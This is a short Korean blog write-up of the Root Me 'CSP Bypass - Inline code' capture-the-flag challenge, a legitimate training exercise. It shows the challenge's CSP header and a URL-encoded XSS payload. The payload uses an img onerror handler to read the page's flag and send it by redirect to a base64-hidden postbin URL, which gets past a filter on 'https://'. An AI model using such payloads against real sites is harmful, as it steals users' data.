본문 바로가기
Root Me

[Root Me] CSP Bypass - Inline code

by skyepodium 2023. 4. 23.

1. 개요

XSS, CSP 문제

 

2. 분석

헤더를 CSP는 다음과 같습니다. img 태그의 src는 풀렸있지만, onerror로 XSS를 실행시킵니다.

connect-src 'none'; 
font-src 'none'; 
frame-src 'none'; 
img-src 'self'; 
manifest-src 'none'; 
media-src 'none'; 
object-src 'none'; 
script-src 'unsafe-inline'; 
style-src 'self'; 
worker-src 'none'; 
frame-ancestors 'none'; 
block-all-mixed-content;

 

요 형태를 응용할것이고, postbin을 생성해서, flag를 전송하도록 수정합니다.

<img srcset=",,,,,x" onerror="alert(1)">

 

"https://" 문자열에 필터가 걸려있어서, base64로 인코딩하고, atob로 디코딩했습니다. 다음을 report url에 넣어줍니다.

http://challenge01.root-me.org:58008/page?user=%3Cimg%20srcset=%22,,,,,x%22%20onerror=%22flag=document.querySelector(%27p%27).innerText;url=atob(%27aHR0cHM6Ly93d3cudG9wdGFsLmNvbS9kZXZlbG9wZXJzL3Bvc3RiaW4vMTY4MjI1MjcxNjIxMC0wNjE3MjIzMjMwNjU2P2ZsYWc9%27);location.href=`${url}${flag}`;%22%3E

 

 

조금 후에 postbin을 살펴보면, flag를 얻었습니다. 

'Root Me' 카테고리의 다른 글

[Root Me] Native code  (0) 2023.04.02